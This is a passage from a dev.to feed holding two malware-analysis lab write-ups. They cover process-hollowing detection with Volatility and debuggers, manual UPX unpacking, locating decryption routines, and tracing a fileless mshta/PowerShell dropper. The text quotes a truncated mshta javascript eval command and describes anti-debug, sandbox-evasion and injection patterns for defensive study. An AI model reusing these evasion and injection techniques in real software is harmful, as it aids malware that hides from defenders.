&lt;p&gt;The &lt;code&gt;malfind&lt;/code&gt; plugin found injected code in multiple processes, including &lt;code&gt;explorer.exe&lt;/code&gt;. The extracted files were &lt;strong&gt;132K&lt;/strong&gt; each — same size across 21 processes, suggesting identical payload injected everywhere.&lt;/p&gt;

&lt;h3&gt;
  
  
  Live Extraction with Process Hacker
&lt;/h3&gt;

&lt;p&gt;Infected the system with &lt;code&gt;known.exe&lt;/code&gt;, then:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Opened Process Hacker — two &lt;code&gt;explorer.exe&lt;/code&gt; processes appeared&lt;/li&gt;
&lt;li&gt;The child process (no children of its own) was the hollowed one&lt;/li&gt;
&lt;li&gt;Properties → Memory tab → sort by Protection → look for &lt;strong&gt;RWX&lt;/strong&gt; regions&lt;/li&gt;
&lt;li&gt;Found a 132K RWX region — matches the Volatility finding&lt;/li&gt;
&lt;li&gt;Double-clicked to view contents — strings included &lt;code&gt;.onion&lt;/code&gt; domains&lt;/li&gt;
&lt;li&gt;Right-click → Save → &lt;code&gt;explorer-dumped.exe&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Fixing the Dump
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pe_unmapper explorer-dumped.exe 0x3560000 explorer-dumped-fixed.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PeStudio now showed complete section details, IAT, and strings — ready for deeper static analysis in IDA.&lt;/p&gt;

&lt;h3&gt;
  
  
  Catching Injection Live with x32dbg
&lt;/h3&gt;

&lt;p&gt;For real-time analysis of the injection:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Instance 1&lt;/strong&gt; (known.exe): Breakpoints on &lt;code&gt;CreateProcessA&lt;/code&gt; and &lt;code&gt;CreateProcessW&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Ran — hit &lt;code&gt;CreateProcessW&lt;/code&gt; launching &lt;code&gt;C:\Windows\SysWOW64\explorer.exe&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dwCreationFlags = 0x80000004&lt;/code&gt; → &lt;code&gt;CREATE_SUSPENDED&lt;/code&gt; confirmed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Instance 2&lt;/strong&gt; (new x32dbg): File → Attach → select the suspended &lt;code&gt;explorer.exe&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Options → Preferences → Events → enable &lt;strong&gt;Thread Entry&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Back in Instance 1: Run (F9) — known.exe injects and resumes explorer.exe&lt;/li&gt;
&lt;li&gt;In Instance 2: Run (F9) — pauses at first thread entry (legitimate DLL thread)&lt;/li&gt;
&lt;li&gt;Run again — pauses at second thread entry. Title bar shows no DLL name — &lt;strong&gt;this is our injected code&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;String references in this region revealed malicious strings, confirming the injection point&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  How to Verify Your Unpacked Payload
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Check&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;What to Look For&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Valid PE structure&lt;/td&gt;
&lt;td&gt;PeStudio&lt;/td&gt;
&lt;td&gt;Sections, IAT, headers parse correctly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Executable runs&lt;/td&gt;
&lt;td&gt;Direct execution&lt;/td&gt;
&lt;td&gt;Should show behavior (even if fake error)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Strings exposed&lt;/td&gt;
&lt;td&gt;BinText / FLOSS&lt;/td&gt;
&lt;td&gt;URLs, registry keys, C2 domains visible&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Imports resolved&lt;/td&gt;
&lt;td&gt;Scylla / IDA&lt;/td&gt;
&lt;td&gt;No "x" marks in Scylla, valid API names&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MZ header present&lt;/td&gt;
&lt;td&gt;x32dbg Dump&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;4D 5A&lt;/code&gt; at offset 0, DOS stub string&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No packer signatures&lt;/td&gt;
&lt;td&gt;PEiD / Exeinfo&lt;/td&gt;
&lt;td&gt;Shows "Not packed" or compiler name&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Anti-debugging is layered&lt;/strong&gt; — it's never just &lt;code&gt;IsDebuggerPresent&lt;/code&gt;. Modern samples check kernel flags, window titles, loaded DLLs, process lists, registry keys, and timing.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Unpacking is about anticipation&lt;/strong&gt; — set breakpoints on APIs that appear near the end of unpacking (&lt;code&gt;VirtualProtect&lt;/code&gt;, &lt;code&gt;WriteProcessMemory&lt;/code&gt;, &lt;code&gt;RtlDecompressBuffer&lt;/code&gt;, &lt;code&gt;LoadLibraryA&lt;/code&gt; for unexpected DLLs).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;String obfuscation is simple but effective&lt;/strong&gt; — XOR with single-byte keys, stack strings built at runtime. FLOSS and &lt;code&gt;strdeob.pl&lt;/code&gt; automate a lot, but manual IDA inspection still catches what automation misses.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Process hollowing follows a pattern&lt;/strong&gt; — &lt;code&gt;CreateProcess&lt;/code&gt; (suspended) → &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; → &lt;code&gt;VirtualAllocEx&lt;/code&gt; (RWX) → &lt;code&gt;WriteProcessMemory&lt;/code&gt; → resume thread. Recognize the pattern, intercept at &lt;code&gt;WriteProcessMemory&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SEH and TLS are misdirection tools&lt;/strong&gt; — malware uses exception handlers and pre-main callbacks to execute code before you think execution has started. Always check for TLS callbacks with &lt;code&gt;pescanner.py&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sandbox evasion is behavioral&lt;/strong&gt; — mouse hooks, connectivity checks, sleep loops. These aren't code-level defenses; they're environment-aware defenses. Patch the environment check (or the code) to proceed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Memory forensics complements live debugging&lt;/strong&gt; — Volatility's &lt;code&gt;malfind&lt;/code&gt; finds injected code in dumps; Process Hacker extracts it live. Both approaches validate each other.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Common Mistakes
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mistake&lt;/th&gt;
&lt;th&gt;Why It Happens&lt;/th&gt;
&lt;th&gt;How to Avoid&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Forgetting ScyllaHide&lt;/td&gt;
&lt;td&gt;Debugger detected immediately, sample terminates before unpacking&lt;/td&gt;
&lt;td&gt;Enable ALL first-column options before running&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patching at wrong offset&lt;/td&gt;
&lt;td&gt;Changing the comparison instead of the jump&lt;/td&gt;
&lt;td&gt;Trace the full logic: where is the result used? Patch the action, not the check&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dumping too early&lt;/td&gt;
&lt;td&gt;MZ header not fully formed, incomplete payload&lt;/td&gt;
&lt;td&gt;Wait for second &lt;code&gt;VirtualProtect&lt;/code&gt; or until code execution begins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Not fixing IAT&lt;/td&gt;
&lt;td&gt;Dumped file crashes on launch, missing imports&lt;/td&gt;
&lt;td&gt;Always use Scylla/OllyDumpEx to reconstruct imports&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ignoring TLS callbacks&lt;/td&gt;
&lt;td&gt;Anti-debug runs before you set breakpoints&lt;/td&gt;
&lt;td&gt;Enable System Breakpoint in x32dbg preferences&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Forgetting pe_unmapper&lt;/td&gt;
&lt;td&gt;Dumped file has wrong base addresses, won't analyze properly&lt;/td&gt;
&lt;td&gt;Note the memory base address from Memory Map, pass to pe_unmapper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Single-tool reliance&lt;/td&gt;
&lt;td&gt;FLOSS misses stack strings, XORSearch misses non-XOR encoding&lt;/td&gt;
&lt;td&gt;Use multiple tools: FLOSS + strdeob.pl + bbcrack + manual IDA&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Unpacking malware is less about following a rigid recipe and more about &lt;strong&gt;recognizing patterns and knowing where to intervene&lt;/strong&gt;. The samples I worked with each had their own personality: &lt;code&gt;getdown.exe&lt;/code&gt; was straightforward with its &lt;code&gt;IsDebuggerPresent&lt;/code&gt; check; &lt;code&gt;lansrv.exe&lt;/code&gt; was a maze of TLS callbacks and SEH manipulation; &lt;code&gt;raas.exe&lt;/code&gt; was paranoid, checking for every tool in the book.&lt;/p&gt;

&lt;p&gt;The common thread? They all follow predictable patterns. Once you know what &lt;code&gt;VirtualAllocEx&lt;/code&gt; + &lt;code&gt;WriteProcessMemory&lt;/code&gt; looks like in assembly, once you know that &lt;code&gt;CREATE_SUSPENDED&lt;/code&gt; means process hollowing, once you know that &lt;code&gt;RtlDecompressBuffer&lt;/code&gt; signals a packed payload — you know where to set your breakpoints.&lt;/p&gt;

&lt;p&gt;The best part is that these techniques transfer. Whether you're looking at a commodity info-stealer or a targeted APT payload, the unpacking patterns are the same. The defenses get more elaborate, but so do our tools and our intuition.&lt;/p&gt;

&lt;p&gt;If you're getting into malware analysis, my advice is: &lt;strong&gt;build a lab, break things, and document everything&lt;/strong&gt;. The act of writing down what you did — why you set that breakpoint, what that register value meant — is what turns a one-off success into repeatable skill.&lt;/p&gt;

</description>
      <category>malwareanalysis</category>
      <category>reverseengineering</category>
      <category>cybersecurity</category>
      <category>antidebug</category>
    </item>
    <item>
      <title>From Packed Binary to Readable Code: A Hands-On Walkthrough of Unpacking, Shellcode Analysis, and Memory Forensics</title>
      <dc:creator>Khalif AL Mahmud</dc:creator>
      <pubDate>Fri, 26 Jun 2026 17:05:26 +0000</pubDate>
      <link>https://dev.to/almahmudkhalif/from-packed-binary-to-readable-code-a-hands-on-walkthrough-of-unpacking-shellcode-analysis-and-27bd</link>
      <guid>https://dev.to/almahmudkhalif/from-packed-binary-to-readable-code-a-hands-on-walkthrough-of-unpacking-shellcode-analysis-and-27bd</guid>
      <description>&lt;p&gt;A few weeks ago I spent a full lab session doing something that sounds simple on paper and is genuinely satisfying in practice: taking a packed, obfuscated piece of malware and peeling back every layer until I could see what it actually does.&lt;/p&gt;

&lt;p&gt;This post is my write-up of that session. It's long, because the lab itself covered a lot of ground — static analysis, manual unpacking with a debugger, multi-stage shellcode extraction, code injection patterns, API hooking, and finally memory forensics with Volatility. I'm documenting it the way I wish more "intro to malware analysis" posts were documented: with the actual commands, the actual reasoning behind each step, and the dead ends along the way.&lt;/p&gt;

&lt;p&gt;If you're getting into reverse engineering or malware analysis, this should give you a realistic feel for what a packed-malware investigation actually looks like end to end — not just the highlight reel.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A quick but important note:&lt;/strong&gt; this entire exercise was done on isolated, throwaway virtual machines (a Windows analysis VM with no network access beyond an internal isolated segment, plus a REMnux Linux VM) using known teaching specimens. Never run unknown executables, run unpackers, or experiment with shellcode on a machine connected to a real network or containing real data. Everything here assumes a fully isolated, snapshot-able VM setup.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem Statement
&lt;/h2&gt;

&lt;p&gt;Modern malware rarely ships as a plain, readable executable. Authors wrap their code in &lt;strong&gt;packers&lt;/strong&gt; (like UPX) to shrink the file and make static analysis harder, and they layer in techniques like shellcode, code injection, and API hooking to evade detection and persist on a system. As an analyst, your job is to answer a chain of questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is this file packed, and with what?&lt;/li&gt;
&lt;li&gt;Can I unpack it automatically, or do I need to dump it manually from memory?&lt;/li&gt;
&lt;li&gt;What does the unpacked code actually do?&lt;/li&gt;
&lt;li&gt;If it drops or injects further payloads (like shellcode), can I extract and analyze those too?&lt;/li&gt;
&lt;li&gt;After infection, what artifacts are left behind in memory that I can find forensically?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This walkthrough tackles that chain using three teaching specimens: a UPX-packed sample (&lt;code&gt;brbbot.exe&lt;/code&gt;), a multi-technology dropper that chains JavaScript → PowerShell → shellcode (&lt;code&gt;PDFXCview.exe&lt;/code&gt;), and a code-injecting, API-hooking sample analyzed both statically and via a memory image (&lt;code&gt;great.exe&lt;/code&gt; / &lt;code&gt;great.vmem&lt;/code&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab Setup
&lt;/h2&gt;

&lt;p&gt;Two VMs, both reverted to clean snapshots before starting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Windows analysis VM&lt;/strong&gt; — tools used: PeStudio, Process Hacker, Process Monitor, ProcDOT, Scylla, x64dbg/x32dbg, OllyDumpEx, IDA, Regedit, Notepad++, PowerShell ISE, WinSCP&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;REMnux VM&lt;/strong&gt; (Linux malware analysis distro) — tools used: &lt;code&gt;pescanner.py&lt;/code&gt;, &lt;code&gt;diec&lt;/code&gt;, &lt;code&gt;strings&lt;/code&gt;, SpiderMonkey (&lt;code&gt;js&lt;/code&gt;), &lt;code&gt;base64dump.py&lt;/code&gt;, Volatility (&lt;code&gt;vol.py&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both VMs were on an isolated internal network segment so the Windows VM and REMnux VM could talk to each other (for file transfer and the JavaScript dropper's local web server) without any route to the internet.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 1: Identifying and Unpacking a UPX-Packed Sample
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — Confirm the file is packed
&lt;/h3&gt;

&lt;p&gt;First pass: load the suspicious binary in &lt;strong&gt;PeStudio&lt;/strong&gt; and check three things — imports, section names, and strings.&lt;/p&gt;

&lt;p&gt;A packed file typically shows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fewer imports&lt;/strong&gt; than you'd expect from a normal-sized executable (because the real import table is hidden until the unpacking stub runs)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unusual section names&lt;/strong&gt; — instead of the standard &lt;code&gt;.text&lt;/code&gt;, &lt;code&gt;.rdata&lt;/code&gt;, &lt;code&gt;.data&lt;/code&gt;, you'll see something like &lt;code&gt;UPX0&lt;/code&gt; and &lt;code&gt;UPX1&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fewer readable strings&lt;/strong&gt;, since the actual strings are compressed/encoded until runtime&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All three were true here, and the &lt;code&gt;UPX&lt;/code&gt; naming convention in the section headers was a strong hint about which packer was used.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Confirm with entropy analysis
&lt;/h3&gt;

&lt;p&gt;On REMnux, &lt;code&gt;pescanner.py&lt;/code&gt; measures the entropy of each section. High entropy (close to random) is a hallmark of compressed or encrypted data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pescanner.py brbbot.exe | more
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The tool flagged sections as "SUSPICIOUS" — one for unusually high entropy (consistent with packed/compressed code), and one with an entropy of exactly 0 (because its raw size was 0 — also anomalous for a legitimate section).&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — Identify the packer
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;diec brbbot.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;diec&lt;/code&gt; (Detect It Easy, command-line version) reported UPX as the most likely packer — confirming the hint from the section names.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — Try the obvious thing first: just run the unpacker
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;upx &lt;span class="nt"&gt;-d&lt;/span&gt; %AppData%&lt;span class="se"&gt;\b&lt;/span&gt;rbbot.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is always worth trying, but it commonly fails on malware, because authors deliberately corrupt the UPX header/footer to block the standard unpacker while leaving the actual UPX decompression stub intact:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CantUnpackException: file is possibly modified/hacked/protected; take care!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since the automated route was blocked, the next move is &lt;strong&gt;manual dumping&lt;/strong&gt;: let the malware unpack &lt;em&gt;itself&lt;/em&gt; in memory at runtime, then dump that unpacked memory image to disk.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5 — Disable ASLR so addresses stay predictable
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;setdllcharacteristics &lt;span class="nt"&gt;-d&lt;/span&gt; %AppData%&lt;span class="se"&gt;\b&lt;/span&gt;rbbot.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This flips the &lt;code&gt;DYNAMIC_BASE&lt;/code&gt; flag in the PE header from 1 to 0. Without this, the binary would load at a randomized base address every run, which makes it harder to find a stable breakpoint address across debugging sessions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 6 — Run it and dump it with Scylla
&lt;/h3&gt;

&lt;p&gt;With the sample running (via a desktop shortcut set to "Run as administrator"), attach &lt;strong&gt;Scylla x64&lt;/strong&gt; to the process and click &lt;strong&gt;Dump&lt;/strong&gt;. This grabs the in-memory, already-unpacked version of the code.&lt;/p&gt;

&lt;p&gt;But a raw memory dump alone usually isn't runnable — the &lt;strong&gt;Import Address Table (IAT)&lt;/strong&gt; is broken, because imports get resolved dynamically and the dump doesn't capture that resolution cleanly. So:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Click &lt;strong&gt;IAT Autosearch&lt;/strong&gt; in Scylla&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Get Imports&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Fix Dump&lt;/strong&gt;, pointing it at the dumped file&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Scylla writes a new file with &lt;code&gt;_SCY&lt;/code&gt; appended to the name (e.g., &lt;code&gt;brbbot-dumped_SCY.exe&lt;/code&gt;) — this is the "fixed" version with a repaired import table.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 7 — Verify, but don't assume success
&lt;/h3&gt;

&lt;p&gt;Loading the fixed dump back into PeStudio showed &lt;em&gt;more&lt;/em&gt; imports than the packed original — a good sign. But running the fixed dump directly produced a different outcome than expected (it exited immediately, without dropping the configuration file the real malware drops). &lt;strong&gt;This is a useful and realistic lesson&lt;/strong&gt;: successfully fixing the IAT doesn't guarantee a perfectly runnable standalone binary. Sometimes further reconstruction is needed. Don't take "it loads more imports now" as proof the unpacking job is fully done — verify behavior too.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 2: Manual Unpacking via Debugger (x64dbg + OllyDumpEx)
&lt;/h2&gt;

&lt;p&gt;Scylla's automatic dump-and-fix approach doesn't always work cleanly, so it's worth knowing the manual debugger-based path too.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 — Find the jump to the Original Entry Point (OEP)
&lt;/h3&gt;

&lt;p&gt;Load the packed binary in &lt;strong&gt;x64dbg&lt;/strong&gt;. Scroll through the disassembly until the unpacking stub's instructions end and you hit a long run of zero bytes — that boundary is usually right where the final jump sits:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;jmp brbbot.140003F94
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That &lt;code&gt;140003F94&lt;/code&gt; target address is the &lt;strong&gt;OEP&lt;/strong&gt; — the address where the &lt;em&gt;real&lt;/em&gt;, unpacked program logic begins.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Breakpoint right before the jump
&lt;/h3&gt;

&lt;p&gt;Set a breakpoint on the &lt;code&gt;JMP&lt;/code&gt; instruction, then run (&lt;code&gt;F9&lt;/code&gt;). The process will execute all the unpacking logic and pause right at that breakpoint, immediately before transferring control to the unpacked code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — Step into the OEP
&lt;/h3&gt;

&lt;p&gt;Step over the jump (&lt;code&gt;F7&lt;/code&gt; or &lt;code&gt;F8&lt;/code&gt;) to land at the OEP — execution is now paused inside the &lt;em&gt;unpacked&lt;/em&gt; code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — Confirm you're actually looking at unpacked code
&lt;/h3&gt;

&lt;p&gt;Don't just trust the address — verify it. Right-click in the CPU view and run:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Search for → Current Region → String references&lt;/strong&gt; — you should see far more readable strings than the packed version showed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Search for → Current Region → Intermodular calls&lt;/strong&gt; — you should see real API call references that weren't visible before&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both showing up is good confirmation you're looking at genuinely unpacked code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5 — Dump with OllyDumpEx
&lt;/h3&gt;

&lt;p&gt;From x64dbg's Plugins menu: &lt;strong&gt;OllyDumpEx → Dump process&lt;/strong&gt;. Key details:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use &lt;strong&gt;"Get EIP as OEP"&lt;/strong&gt; so the dump records the correct entry point&lt;/li&gt;
&lt;li&gt;Find the &lt;code&gt;UPX1&lt;/code&gt; section row and enable the &lt;code&gt;MEM_WRITE&lt;/code&gt; characteristic flag before dumping (without write permission flagged, some dumpers won't capture the section properly)&lt;/li&gt;
&lt;li&gt;Save the dump (e.g. &lt;code&gt;brbbot_dump_64.exe&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 6 — Fix the IAT with the Scylla plugin (inside x64dbg)
&lt;/h3&gt;

&lt;p&gt;Same logic as before — &lt;strong&gt;IAT Autosearch → Get Imports → Fix Dump&lt;/strong&gt;, pointed at the OllyDumpEx output. Result: a &lt;code&gt;_SCY&lt;/code&gt;-suffixed file with a repaired import table.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 3: Debugging Packed Code Directly (Finding Decryption Routines)
&lt;/h2&gt;

&lt;p&gt;Sometimes you don't want to fully unpack a sample — you just want to watch a specific operation happen, like decryption of an embedded configuration.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 — Let it run and self-unpack
&lt;/h3&gt;

&lt;p&gt;Run the packed binary in x64dbg with no breakpoints set (&lt;code&gt;F9&lt;/code&gt;). It unpacks itself into memory and continues normally.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Find the unpacked region via Memory Map
&lt;/h3&gt;

&lt;p&gt;In the &lt;strong&gt;Memory Map&lt;/strong&gt; tab, look for memory regions that don't belong to a Windows DLL and have &lt;strong&gt;"E" (execute)&lt;/strong&gt; in the Protection column. In this sample, two regions matched that profile — the unpacker code region and a second region holding the freshly unpacked code. Right-click the latter and choose &lt;strong&gt;Follow in Disassembler&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — Search for interesting API calls
&lt;/h3&gt;

&lt;p&gt;Right-click → &lt;strong&gt;Search for → Current Region → Intermodular calls&lt;/strong&gt;, then filter the results by typing a keyword (e.g. &lt;code&gt;Crypt&lt;/code&gt;) in the search box. This surfaced a call to &lt;code&gt;CryptDecrypt&lt;/code&gt; — a strong signal that the malware decrypts an embedded configuration at runtime.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — Breakpoint after the call, then restart cleanly
&lt;/h3&gt;

&lt;p&gt;Select the instruction &lt;em&gt;right after&lt;/em&gt; the &lt;code&gt;CryptDecrypt&lt;/code&gt; call (the result-checking instruction), and set a &lt;strong&gt;hardware breakpoint on execution&lt;/strong&gt;. Then restart the process (&lt;code&gt;Ctrl+F2&lt;/code&gt;) and run again (&lt;code&gt;F9&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Why restart rather than just continuing? Because the process may have already executed past this point once — restarting guarantees you hit the breakpoint fresh, from the actual entry point, so register/stack state is consistent with a real first-run analysis.&lt;/p&gt;

&lt;p&gt;Once paused there, the decrypted configuration data is sitting in memory (commonly reachable via the stack) — ready for inspection, exactly like you would when analyzing the unpacked version of the same family of malware.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 4: Multi-Stage Dropper Analysis (JavaScript → PowerShell → Shellcode)
&lt;/h2&gt;

&lt;p&gt;This is where things get more interesting: a single executable that chains together several different technologies to avoid writing an obviously malicious file to disk.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 — Infect while monitoring, then cut it off
&lt;/h3&gt;

&lt;p&gt;Start &lt;strong&gt;Process Monitor&lt;/strong&gt; capturing, then run the sample. Watch the process tree in &lt;strong&gt;Process Hacker&lt;/strong&gt;: the initial process spawns &lt;code&gt;mshta.exe&lt;/code&gt; and &lt;code&gt;powershell.exe&lt;/code&gt;, then after roughly a minute or two, spawns a couple of &lt;code&gt;regsvr32.exe&lt;/code&gt; processes. Once those appear, terminate the process tree and pause Process Monitor capture — you don't need to let it run indefinitely, you just need enough activity captured to reconstruct the chain.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Reconstruct the infection chain visually
&lt;/h3&gt;

&lt;p&gt;Export the Process Monitor log as CSV, then load it into &lt;strong&gt;ProcDOT&lt;/strong&gt; along with the initial malicious process. ProcDOT generates a visual graph of what touched what — registry keys created, files dropped, and a persistence entry added under the &lt;code&gt;Run&lt;/code&gt; autostart key. It also revealed the malware created files with an unusual, randomly-generated extension and a batch file, plus matching registry entries describing how Windows should handle that custom file extension.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — Find the "execute this when this file type opens" command
&lt;/h3&gt;

&lt;p&gt;In &lt;strong&gt;Regedit&lt;/strong&gt;, navigate to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HKEY_CURRENT_USER\Software\Classes\.&amp;lt;random-extension&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;(Default)&lt;/code&gt; value there points to another key (a random-looking hex string), which under &lt;code&gt;shell\open\command&lt;/code&gt; contains the actual command Windows runs. In this lab it looked roughly like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"C:\WINDOWS\system32\mshta.exe" "javascript:...eval(IV2u4L)..."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a classic file-less technique: rather than dropping a &lt;code&gt;.js&lt;/code&gt; file, the script content lives in a registry value, and &lt;code&gt;mshta.exe&lt;/code&gt; is abused to execute inline JavaScript that reads and &lt;code&gt;eval()&lt;/code&gt;s it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — Extract the script from the registry
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;reg_export HKCU&lt;span class="se"&gt;\s&lt;/span&gt;oftware&lt;span class="se"&gt;\&amp;lt;&lt;/span&gt;random-key&amp;gt; &amp;lt;random-value&amp;gt; script.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 5 — Move it to REMnux and deobfuscate
&lt;/h3&gt;

&lt;p&gt;Transfer with WinSCP, then try SpiderMonkey directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
